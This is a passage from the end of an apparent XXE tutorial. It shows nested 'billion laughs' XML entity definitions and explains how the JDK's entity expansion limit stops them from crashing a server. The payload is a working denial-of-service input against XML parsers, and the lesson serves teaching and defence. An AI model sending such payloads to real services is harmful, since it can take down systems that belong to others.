 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  1.  Notice that you get the following error from the server.
JDK doesn't allow unlimited entity expansions
JDK doesn’t allow unlimited entity expansions
  1. The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
 JDK entity expansion limit option
JDK entity expansion limit option

That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content

And as usual, here is your XXE tutorial on Youtube.